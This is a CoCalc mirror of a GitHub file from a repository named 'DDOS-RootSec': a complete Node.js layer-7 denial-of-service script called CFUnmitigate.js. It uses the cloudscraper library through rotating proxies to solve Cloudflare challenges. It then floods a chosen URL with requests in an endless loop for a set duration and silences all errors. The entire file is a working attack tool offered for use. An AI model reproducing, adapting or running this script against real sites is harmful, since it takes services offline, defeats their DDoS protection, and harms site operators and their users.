Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L7/CFUnmitigate.js
4607 views
1
require('events').EventEmitter.defaultMaxListeners = 0;
2
const fs = require('fs'),
3
CloudScraper = require('cloudscraper'),
4
path = require('path');
5
6
if (process.argv.length !== 6) {
7
console.log(`
8
Usage: node ${path.basename(__filename)} <url> <time> <req_per_ip> <proxies>
9
Usage: node ${path.basename(__filename)} <http://example.com> <60> <100> <http.txt>`);
10
process.exit(0);
11
}
12
13
const target = process.argv[2],
14
time = process.argv[3],
15
req_per_ip = process.argv[4];
16
17
let proxies = fs.readFileSync(process.argv[5], 'utf-8').replace(/\r/gi, '').split('\n').filter(Boolean);
18
19
function send_req() {
20
let proxy = proxies[Math.floor(Math.random() * proxies.length)];
21
22
let getHeaders = new Promise(function (resolve, reject) {
23
CloudScraper({
24
uri: target,
25
resolveWithFullResponse: true,
26
proxy: 'http://' + proxy,
27
challengesToSolve: 10
28
}, function (error, response) {
29
if (error) {
30
let obj_v = proxies.indexOf(proxy);
31
proxies.splice(obj_v, 1);
32
return console.log(error.message);
33
}
34
resolve(response.request.headers);
35
});
36
});
37
38
getHeaders.then(function (result) {
39
// Object.keys(result).forEach(function (i, e) {
40
// console.log(i + ': ' + result[i]);
41
// });
42
for (let i = 0; i < req_per_ip; ++i) {
43
CloudScraper({
44
uri: target,
45
headers: result,
46
proxy: 'http://' + proxy,
47
followAllRedirects: false
48
}, function (error, response) {
49
if (error) {
50
console.log(error.message);
51
}
52
});
53
}
54
});
55
}
56
57
setInterval(() => {
58
send_req();
59
});
60
61
setTimeout(() => {
62
console.log('Attack ended.');
63
process.exit(0)
64
}, time * 1000);
65
66
// to avoid errors
67
process.on('uncaughtException', function (err) {
68
// console.log(err);
69
});
70
process.on('unhandledRejection', function (err) {
71
// console.log(err);
72
});
73
74